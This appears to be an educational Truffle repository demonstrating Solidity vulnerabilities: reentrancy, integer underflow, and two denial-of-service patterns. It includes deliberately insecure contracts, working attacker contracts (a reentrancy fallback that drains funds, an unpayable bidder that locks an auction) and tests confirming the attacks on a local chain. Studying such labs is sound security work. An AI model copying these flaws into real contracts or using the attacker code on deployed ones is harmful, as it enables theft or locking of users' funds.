"0x6060604052341561000f57600080fd5b5b60008054600160a060020a03191633600160a060020a03161790555b5b6102048061003c6000396000f3006060604052361561003b5763ffffffff60e060020a60003504166312065fe0811461009357806337553157146100b857806358ca7233146100ce575b5b33600160a060020a038116633ccfd60b620186a06040518263ffffffff1660e060020a028152600401600060405180830381600088803b151561007e57600080fd5b87f1151561008b57600080fd5b505050505b50005b341561009e57600080fd5b6100a66100e4565b60405190815260200160405180910390f35b6100cc600160a060020a03600435166100f3565b005b6100cc600160a060020a0360043516610166565b005b600160a060020a033016315b90565b6000805433600160a060020a0390811691161461010c57fe5b5080600160a060020a03811663d0e30db0620186a0346040518363ffffffff1660e060020a0281526004016000604051808303818589803b151561014f57600080fd5b88f1151561015c57600080fd5b50505050505b5050565b6000805433600160a060020a0390811691161461017f57fe5b5080600160a060020a038116633ccfd60b620186a06040518263ffffffff1660e060020a028152600401600060405180830381600088803b15156101c257600080fd5b87f115156101cf57600080fd5b505050505b50505600a165627a7a72305820cbd5dd1e7f1f46bcc48ccca656b73cac034c5f2f261bf3aca13bfc43e3f6f1360029", 54 | "networks": { 55 | "1507842379920": { 56 | "events": {}, 57 | "links": {}, 58 | "address": "0x18679d2ed43055013d959908f531413b1b397320", 59 | "updated_at": 1507848109653 60 | }, 61 | "1507846877398": { 62 | "events": {}, 63 | "links": {}, 64 | "address": "0x10540ceed503c620e16390ad67558e137786f4b3", 65 | "updated_at": 1507847677168 66 | }, 67 | "1507849899578": { 68 | "events": {}, 69 | "links": {}, 70 | "address": "0x2f93a3e5ede5cb61567e9649e630cf534d3f2976", 71 | "updated_at": 1507914336118 72 | }, 73 | "1507915907854": { 74 | "events": {}, 75 | "links": {}, 76 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 77 | "updated_at": 1507920090097 78 | }, 79 | "1507920427379": { 80 | "events": {}, 81 | "links": {}, 82 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 83 | "updated_at": 1507920438082 84 | }, 85 | "1507920673468": { 86 | "events": {}, 87 | "links": {}, 88 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 89 | "updated_at": 1507920689571 90 | }, 91 | "1507920891614": { 92 | "events": {}, 93 | "links": {}, 94 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 95 | "updated_at": 1507920904977 96 | }, 97 | "1507921350059": { 98 | "events": {}, 99 | "links": {}, 100 | "address": "0xf65cb0c83d09faf83efdf814eeb68e27f3f36c61", 101 | "updated_at": 1507921715685 102 | }, 103 | "1507921820502": { 104 | "events": {}, 105 | "links": {}, 106 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 107 | "updated_at": 1507921835145 108 | }, 109 | "1507922060809": { 110 | "events": {}, 111 | "links": {}, 112 | "address": "0xa117a50a6a46db69d2f52de3cadafd08c86a93c0", 113 | "updated_at": 1507922202906 114 | }, 115 | "1507922360003": { 116 | "events": {}, 117 | "links": {}, 118 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 119 | "updated_at": 1507922413206 120 | }, 121 | "1507922504755": { 122 | "events": {}, 123 | "links": {}, 124 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 125 | "updated_at": 1507922518706 126 | }, 127 | "1507923973596": { 128 | "events": {}, 129 | "links": {}, 130 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 131 | "updated_at": 1507923993333 132 | }, 133 | "1507924412769": { 134 | "events": {}, 135 | "links": {}, 136 | "address": "0xe4b965d47b19d724a35fdfa6aa2637b4a4e922d6", 137 | "updated_at": 1507924887783 138 | }, 139 | "1507925341723": { 140 | "events": {}, 141 | "links": {}, 142 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 143 | "updated_at": 1507925354823 144 | }, 145 | "1507925428348": { 146 | "events": {}, 147 | "links": {}, 148 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 149 | "updated_at": 1507925438892 150 | }, 151 | "1507926212147": { 152 | "events": {}, 153 | "links": {}, 154 | "address": "0xa2930eaf0f8157f7a2e2f37c84bbde3c05ec54c4", 155 | "updated_at": 1507927671855 156 | }, 157 | "1507998951487": { 158 | "events": {}, 159 | "links": {}, 160 | "address": "0x320ca0280e6f3c52ae936870a0133e9266a487d7", 161 | "updated_at": 1508004206084 162 | }, 163 | "1508090721253": { 164 | "events": {}, 165 | "links": {}, 166 | "address": "0x06c5251ddb034070b59067d27429ba6944dc1595", 167 | "updated_at": 1508093403083 168 | }, 169 | "1508204233737": { 170 | "events": {}, 171 | "links": {}, 172 | "address": "0xc991ab745e308937ef324df28f10749a3397ea02", 173 | "updated_at": 1508207027799 174 | }, 175 | "1508213742694": { 176 | "events": {}, 177 | "links": {}, 178 | "address": "0xd5100a234b2d1bac0fbdbe8d7ab2548f0e309a73", 179 | "updated_at": 1508215094647 180 | } 181 | }, 182 | "schema_version": "0.0.5", 183 | "updated_at": 1508215094647 184 | } -------------------------------------------------------------------------------- /build/contracts/Reentrancy.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Reentrancy", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [], 7 | "name": "withdraw", 8 | "outputs": [], 9 | "payable": false, 10 | "type": "function" 11 | } 12 | ], 13 | "unlinked_binary": "0x6060604052341561000f57600080fd5b5b60ea8061001e6000396000f300606060405263ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633ccfd60b8114603c575b600080fd5b3415604657600080fd5b604c604e565b005b73ffffffffffffffffffffffffffffffffffffffff3316600081815260208190526040908190205480156108fc029151600060405180830381858888f193505050501560bb5773ffffffffffffffffffffffffffffffffffffffff33166000908152602081905260408120555b5b5600a165627a7a72305820c7a1c95527152548031eca78ce782088e8b0455221d8a30f44732ba91a967a820029", 14 | "networks": { 15 | "1507842379920": { 16 | "events": {}, 17 | "links": {}, 18 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 19 | "updated_at": 1507842577495 20 | } 21 | }, 22 | "schema_version": "0.0.5", 23 | "updated_at": 1507842577495 24 | } -------------------------------------------------------------------------------- /build/contracts/ReentrancyAttacker.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "ReentrancyAttacker", 3 | "abi": [], 4 | "unlinked_binary": "0x60606040523415600e57600080fd5b5b603680601c6000396000f30060606040525b600080fd00a165627a7a723058201b77d16600cab3dc2ab08285e37d63e33833a413a018a69717551cf137ceeb910029", 5 | "networks": {}, 6 | "schema_version": "0.0.5", 7 | "updated_at": 1507842538055 8 | } -------------------------------------------------------------------------------- /contracts/DoSBlockGasLimit/Bank.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | /* 4 | This contract demonstrates a failure mode in which refund payments are sent 5 | to users at once using a loop. If the user runs out of gas, none of these 6 | transactions will take effect. 7 | 8 | This is intended to be run with testrpc specifying 100 accounts: 9 | 10 | testrpc -a 100 11 | 12 | */ 13 | 14 | contract Bank { 15 | mapping(address=>uint) public balances; 16 | address public payer; 17 | address[] public addressesToRefund; 18 | 19 | function Bank() public payable { 20 | payer = msg.sender; 21 | balances[msg.sender] = msg.value; 22 | addressesToRefund.push(msg.sender); 23 | } 24 | 25 | function signUp() public payable { 26 | balances[msg.sender] = msg.value; 27 | addressesToRefund.push(msg.sender); 28 | } 29 | 30 | function cashOutEveryone() public { 31 | require(payer == msg.sender); 32 | for (uint i=0; i< addressesToRefund.length; i++ ) { 33 | 34 | address addrToSend = addressesToRefund[i]; 35 | uint amountToRefund = balances[addrToSend]; 36 | 37 | require(addrToSend.send(amountToRefund)); // require implies all state changes done by the function 38 | // will not take if any of these transactions fail or 39 | // if the gas limit is reached 40 | balances[addrToSend] = 0; 41 | } 42 | } 43 | 44 | function getNumberOfAccounts() public constant returns (uint) { 45 | return addressesToRefund.length; 46 | } 47 | 48 | function getBalance() constant public returns(uint) { 49 | return this.balance; 50 | } 51 | } -------------------------------------------------------------------------------- /contracts/DoSRevert/Auction.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | /* 4 | This is an exmample of a DoS attack where an attacker locks out 5 | an auction to more bids after their bid. 6 | 7 | The problem is that the contract requires the current leader 8 | to be paid before a new leader is assigned. So, if the 9 | current leader cannot be paid, no one can make new bids, and 10 | the current leader wins by default. 11 | 12 | An attacker can make themselves unpayable by creating a contract 13 | with no fallback function. See ./AuctionAttacker.sol. 14 | */ 15 | 16 | // INSECURE 17 | contract Auction { 18 | address currentLeader; 19 | uint highestBid; 20 | 21 | function Auction () public { 22 | } 23 | 24 | function bid() payable public { 25 | require(msg.value > highestBid); 26 | require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert 27 | currentLeader = msg.sender; 28 | highestBid = msg.value; 29 | } 30 | 31 | function getHighestBid() public constant returns(uint){ 32 | return highestBid; 33 | } 34 | 35 | function getCurrentLeader() public constant returns(address){ 36 | return currentLeader; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /contracts/DoSRevert/AuctionAttacker.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | import "./Auction.sol"; 3 | 4 | contract AuctionAttacker { 5 | 6 | // Without a fallback function, the contract is not payable. 7 | // Thus any refunds sent to this contract will fail since 8 | // the Auction requires previous leaders to be paid before 9 | // a new leader is decided 10 | 11 | // function () payable { 12 | // fallback function 13 | // } 14 | 15 | function bidExternal(address addr) payable public { 16 | Auction auctionToAttack = Auction(addr); 17 | auctionToAttack.bid.gas(100000).value(msg.value)(); 18 | } 19 | } -------------------------------------------------------------------------------- /contracts/IntUnderflow/IntUnderflow.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | /* 4 | This contract is vulnerable to an attacker exploting 5 | integer underflow. When you subtract from unsigned integers 6 | at their lowest value (0), they cycle to their highest value. 7 | Similarly, adding 1 to a max value unsigned integer will 8 | cycle it to zero. 9 | */ 10 | 11 | contract IntUnderflow { 12 | uint32 public reputation; 13 | 14 | function IntUnderflow() public { 15 | reputation = 0; 16 | } 17 | 18 | function upvote() external { 19 | reputation += 1; 20 | } 21 | 22 | // if reputation is zero, this will cause reputation 23 | // to underflow to 2^32 -1 24 | function downvote() external { 25 | reputation -= 1; 26 | } 27 | 28 | function getReputation() public constant returns (uint32) { 29 | return reputation; 30 | } 31 | } -------------------------------------------------------------------------------- /contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /contracts/Reentrance/Reentrance.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | /* 4 | This contract is vulnerable to Reentrance. That is, if an attacker 5 | contract calls this code, it is possible for their code to take 6 | control and access functions within the Reentrance contract 7 | 8 | When `msg.sender.call.value(amountToWithdraw)()` is called, 9 | if `msg.sender` is a payable contract, it will invoke their 10 | fall back function immediately before finishing the rest of the 11 | execution. 12 | 13 | The fallback function can simply call withdraw again, and again, 14 | and since the balances are updated after the call.value()(), 15 | the Reentrance contract permits it. 16 | */ 17 | 18 | // INSECURE 19 | contract Reentrance { 20 | mapping(address => uint) public shares; 21 | 22 | function Reentrance() payable public { 23 | shares[msg.sender] += msg.value; 24 | } 25 | 26 | // Deposit to contract 27 | function deposit() payable public { 28 | shares[msg.sender] += msg.value; 29 | } 30 | 31 | // Withdraw your share 32 | // BUG: Allows contracts invoking this function to make extra calls before shares[msg.sender] is updated 33 | function withdraw() public { 34 | uint amountToWithdraw = shares[msg.sender]; 35 | msg.sender.call.value(amountToWithdraw)(); // At this point, the caller's code is executed, and can call withdraw again 36 | shares[msg.sender] = 0; 37 | } 38 | 39 | // added to simplify testing 40 | function getBalance() constant public returns(uint) { 41 | return this.balance; 42 | } 43 | } -------------------------------------------------------------------------------- /contracts/Reentrance/ReentranceAttacker.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | import "./Reentrance.sol"; 3 | 4 | contract ReentranceAttacker { 5 | address private owner; 6 | 7 | function ReentranceAttacker() public { 8 | owner = msg.sender; 9 | } 10 | 11 | // malicious fallback function 12 | // called by Reentrance to deposit from after execution of withdrawFromExternal 13 | // this function steals the funds from reentrance 14 | function () payable public { 15 | Reentrance r = Reentrance(msg.sender); 16 | r.withdraw.gas(100000)(); // withdraws again from the contract 17 | } 18 | 19 | // makes call to Reentrance contract to deposit funds // not malicious 20 | function depositToExternal(address reentranceAddress) payable public { 21 | assert(owner == msg.sender); 22 | Reentrance r = Reentrance(reentranceAddress); 23 | r.deposit.gas(100000).value(msg.value)(); 24 | } 25 | 26 | // makes call to Reentrance contract to withdraw funds 27 | // this code is not inherintly malicious, only when used with the fallback function 28 | function withdrawFromExternal(address reentranceAddress) payable public { 29 | assert(owner == msg.sender); 30 | Reentrance r = Reentrance(reentranceAddress); 31 | r.withdraw.gas(100000)(); 32 | } 33 | 34 | // added to simplify testing 35 | function getBalance() constant public returns(uint) { 36 | return this.balance; 37 | } 38 | 39 | } -------------------------------------------------------------------------------- /migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var Reentrance = artifacts.require("./Reentrance.sol"); 2 | var ReentranceAttacker = artifacts.require("./ReentranceAttacker.sol"); 3 | var IntUnderflow = artifacts.require("./IntUnderflow.sol"); 4 | var Auction = artifacts.require("./Auction.sol"); 5 | var AuctionAttacker = artifacts.require("./AuctionAttacker.sol"); 6 | var Bank = artifacts.require ("./Bank.sol"); 7 | 8 | 9 | module.exports = function(deployer) { 10 | deployer.deploy(Reentrance, {value: 5}); 11 | deployer.deploy(ReentranceAttacker, {from: web3.eth.accounts[1]}); 12 | deployer.deploy(IntUnderflow); 13 | deployer.deploy(Auction); 14 | deployer.deploy(AuctionAttacker); 15 | deployer.deploy(Bank); 16 | }; -------------------------------------------------------------------------------- /test/dosgaslimit.js: -------------------------------------------------------------------------------- 1 | var Bank = artifacts.require("./Bank.sol"); 2 | 3 | 4 | // sign up all testrpc accounts for the Bank function with 5 wei 5 | function signUpAllAccounts(Bank, accounts) { 6 | return new Promise ((resolve, reject) => { 7 | 8 | var signUps = []; 9 | for (i in accounts) { 10 | signUps.push(Bank.signUp({from: accounts[i], value: 5})); 11 | } 12 | 13 | Promise.all(signUps).then((sigs) => { 14 | resolve(sigs); 15 | }); 16 | }); 17 | } 18 | 19 | contract('Bank', function(accounts) { 20 | it ("should be unable to pay out all the accounts I sign up", function() { 21 | return Bank.deployed().then(function(instance) { 22 | Bank = instance; 23 | return signUpAllAccounts(Bank, accounts); 24 | }).then(function() { 25 | return Bank.getNumberOfAccounts(); 26 | }).then(function(numberOfAccts) { 27 | assert.equal(numberOfAccts, accounts.length+1); // ensure that all accounts were signed up 28 | return Bank.cashOutEveryone({from: accounts[0]}); 29 | }).then(function() { 30 | // When you specify 100 accounts with testrpc `testrpc -a 100`, 31 | // this 20,000 gas is not enough, and this call will fail, resulting in no one getting a refund. 32 | return Bank.getBalance({from: accounts[0], gas: 20000}); 33 | }).then(function(bankBalance) { 34 | assert.equal(bankBalance, 0); 35 | }); 36 | }); 37 | }); -------------------------------------------------------------------------------- /test/dosrevert.js: -------------------------------------------------------------------------------- 1 | var Auction = artifacts.require("./Auction.sol"); 2 | var AuctionAttacker = artifacts.require("./AuctionAttacker.sol"); 3 | 4 | 5 | contract('Auction', function(accounts) { 6 | it ("should be able to function as normal when standard accounts are being used", function() { 7 | return Auction.deployed().then(function(instance) { 8 | AuctionInstance = instance; 9 | 10 | // load the contract up with funds 11 | return AuctionInstance.bid({from: accounts[0], value: 2000}); 12 | }).then(function() { 13 | return AuctionInstance.getHighestBid(); 14 | }).then(function(highestBid) { 15 | // make sure they value went through 16 | assert.equal(highestBid, 2000, "highest bid does not update to bid"); 17 | return AuctionInstance.getCurrentLeader(); 18 | }).then(function(currentLeader) { 19 | assert.equal(currentLeader, accounts[0]); 20 | // account 1 outbids 21 | return AuctionInstance.bid({from: accounts[1], value: 3000}); 22 | }).then(function() { 23 | return AuctionInstance.getHighestBid(); 24 | }).then(function(highestBid){ 25 | // highest bid should be 3000 now 26 | assert.equal(highestBid, 3000); 27 | return AuctionInstance.getCurrentLeader(); 28 | }).then(function(currentLeader) { 29 | // account 1 should be leader now 30 | assert.equal(currentLeader, accounts[1]); 31 | }); 32 | }); 33 | 34 | it ("should fail to let anyone else bids after the attacker", function() { 35 | return Auction.deployed().then(function(instance) { 36 | AuctionInstance = instance; 37 | return AuctionAttacker.deployed().then(function(instance) { 38 | AttackerInstance = instance; 39 | 40 | return AttackerInstance.bidExternal(AuctionInstance.address, {from: accounts[2], value: 3200}); 41 | }).then(function() { 42 | // Attacker contract should now be leader 43 | return AuctionInstance.getCurrentLeader(); 44 | }).then(function(currentLeader) { 45 | assert.equal(currentLeader, AttackerInstance.address); 46 | // *-----------------------------------------------* 47 | // Uncomment the line below to see that the attacker can't be outbid, since new bids cause VM exceptions 48 | // return AuctionInstance.bid({from: accounts[0], value: 5000}); 49 | }); 50 | }); 51 | }); 52 | }); -------------------------------------------------------------------------------- /test/intunderflow.js: -------------------------------------------------------------------------------- 1 | var IntUnderflow = artifacts.require("./IntUnderflow.sol"); 2 | 3 | contract('IntUnderflow', function(accounts) { 4 | it ("should be vulnerable to int underflow attacks", function() { 5 | return IntUnderflow.deployed().then(function(instance) { 6 | UnderflowInstance = instance; 7 | // reputation is initialized at 0, to get higher score just downvote once! 8 | return UnderflowInstance.downvote(); 9 | }).then(function() { 10 | return UnderflowInstance.getReputation(); 11 | }).then(function(reputation) { 12 | // after downvote, reputation is maxes out 13 | assert.notEqual(reputation, 0, "repuation not equal to zero after downgrade"); 14 | assert.equal(reputation, 4294967295, "reputation underflows to become 2^32-1"); 15 | }); 16 | }); 17 | }); -------------------------------------------------------------------------------- /test/reentrancy.js: -------------------------------------------------------------------------------- 1 | var Reentrance = artifacts.require("./Reentrance.sol"); 2 | var ReentranceAttacker = artifacts.require("./ReentranceAttacker.sol"); 3 | 4 | contract('Reentrance', function(accounts) { 5 | it ("should deploy Reentrance contact with a balance of 5 wei", function() { 6 | return Reentrance.deployed().then(function(instance) { 7 | ReentranceInstance = instance; 8 | return ReentranceInstance.getBalance(); 9 | }).then(function(reentranceBalance) { 10 | // check total balance of contract 11 | assert.equal(5, reentranceBalance); 12 | return ReentranceInstance.shares(accounts[0]); 13 | }).then(function(firstAccountReentranceShares) { 14 | //check shares that belong to first account 15 | assert.equal(5, firstAccountReentranceShares); 16 | }); 17 | }); 18 | 19 | it ("should increase funds of Reentrance when the attacker deposits", function() { 20 | return Reentrance.deployed().then(function(instance) { 21 | ReentranceInstance = instance; 22 | }).then(function () { 23 | return ReentranceAttacker.deployed().then(function(attackerInstance) { 24 | ReentranceAttackerInstance = attackerInstance; 25 | return ReentranceAttackerInstance.depositToExternal(ReentranceInstance.address, {from: accounts[1], value: 5}); 26 | }).then(function() { 27 | return ReentranceInstance.getBalance(); 28 | }).then(function(reentranceBalance) { 29 | // check if attacker succesfully added funds to reentrance 30 | assert.equal(reentranceBalance, 10); 31 | return ReentranceInstance.shares(ReentranceAttackerInstance.address); 32 | }).then(function(attackerReentranceShares) { 33 | assert.equal(attackerReentranceShares, 5); 34 | }); 35 | }); 36 | }); 37 | 38 | it ("should have no funds after the attacker withdraws", function() { 39 | return Reentrance.deployed().then(function(instance) { 40 | ReentranceInstance = instance; 41 | }).then(function () { 42 | return ReentranceAttacker.deployed().then(function(attackerInstance) { 43 | ReentranceAttackerInstance = attackerInstance; 44 | return ReentranceAttackerInstance.withdrawFromExternal(ReentranceInstance.address, {from: accounts[1]}); 45 | }).then(function() { 46 | return ReentranceInstance.getBalance(); 47 | }).then(function(reentranceBalanceAfterHack) { 48 | // check that funds are depleated 49 | assert.equal(reentranceBalanceAfterHack, 0); 50 | return ReentranceAttackerInstance.getBalance(); 51 | }).then(function(attackerBalanceAfterHack) { 52 | // check all funds are stolen 53 | assert.equal(attackerBalanceAfterHack, 10); 54 | }); 55 | }); 56 | }); 57 | }); 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8545, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | --------------------------------------------------------------------------------